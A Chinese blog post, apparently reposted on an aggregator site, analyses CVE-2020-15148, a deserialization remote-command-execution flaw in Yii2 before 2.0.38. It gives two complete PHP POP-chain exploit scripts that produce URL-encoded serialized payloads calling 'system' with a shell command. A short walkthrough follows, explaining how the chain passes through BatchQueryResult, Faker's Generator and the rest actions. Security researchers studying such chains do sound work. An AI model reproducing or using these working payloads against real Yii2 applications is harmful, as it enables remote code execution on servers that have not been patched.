[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行
Posted Y4tacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行相关的知识,希望对你有一定的参考价值。
写在前面
最近倒是不知道干些啥,有点迷茫的状态,不过每天都保持学习就好了,今天空下来了准备写一篇刚学的POP链分析
POP链1
<?php
namespace yii\\db;
class BatchQueryResult extends \\yii\\base\\BaseObject{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new \\Faker\\Generator();
}
}
namespace yii\\base;
class BaseObject{
}
namespace yii\\rest;
class Action{
public $checkAccess='system';
public $id='ls';
}
class IndexAction extends Action{
}
namespace Faker;
class Generator{
protected $formatters = array();
public function __construct()
{
$this->formatters['close']=[(new \\yii\\rest\\IndexAction()),"run"];
}
}
use \\yii\\db\\BatchQueryResult;
$c=new BatchQueryResult();
print(urlencode(serialize($c)));
POP链2
差不多的换了个地方罢了
<?php
namespace yii\\db;
class BatchQueryResult extends \\yii\\base\\BaseObject{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new \\Faker\\Generator();
}
}
namespace yii\\base;
class BaseObject{
}
namespace yii\\rest;
class Action{
public $checkAccess='system';
public $id='ls';
}
class CreateAction extends Action{
}
namespace Faker;
class Generator{
protected $formatters = array();
public function __construct()
{
$this->formatters['close']=[(new \\yii\\rest\\CreateAction()),"run"];
}
}
use \\yii\\db\\BatchQueryResult;
$c=new BatchQueryResult();
print(urlencode(serialize($c)));
分析
我们看提交记录里面有说道
是这一条https://github.com/yiisoft/yii2/commit/9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99?branch=9abccb96d7c5ddb569f92d1a748f50ee9b3e2b99&diff=split
这也就是说最新版里已经通过__wakeup
来禁用了BatchQueryResult
类的反序列化
这也就是我们的入口点,我们开始分析,调用了$this->reset();
通过赋值我们可以实现,调用__call
方法
这里发现有很多
这里我们锁定src/Faker/Generator.php
我们得注意根据close方法调用,·$attributes
值为空,跟踪
看看getFormatter
函数
个人认为构造也很容易,如下
$this->formatters['close']=["xxxxx"];
注意$arguments
为空,是从yii\\db\\BatchQueryResult::reset()
里传过来的,参数不可控,所以我们只能去寻找不带参数地去调用别的类中的方法。全局搜索call_user_func\\(\\$this->([a-zA-Z0-9]+), \\$this->([a-zA-Z0-9]+)
发现这里有两个符合条件的yii\\rest\\CreateAction::run()
和yii\\rest\\IndexAction::run()
,其实这两个利用方法一模一样
看了下其他类也没法利用,我们以CreateAction
为例,能看到这里直接是无过滤的,接下来干嘛不解释了
分析完毕
以上是关于[PHP代码审计][CVE-2020-15148]Yii2<2.0.38反序列化命令执行的主要内容,如果未能解决你的问题,请参考以下文章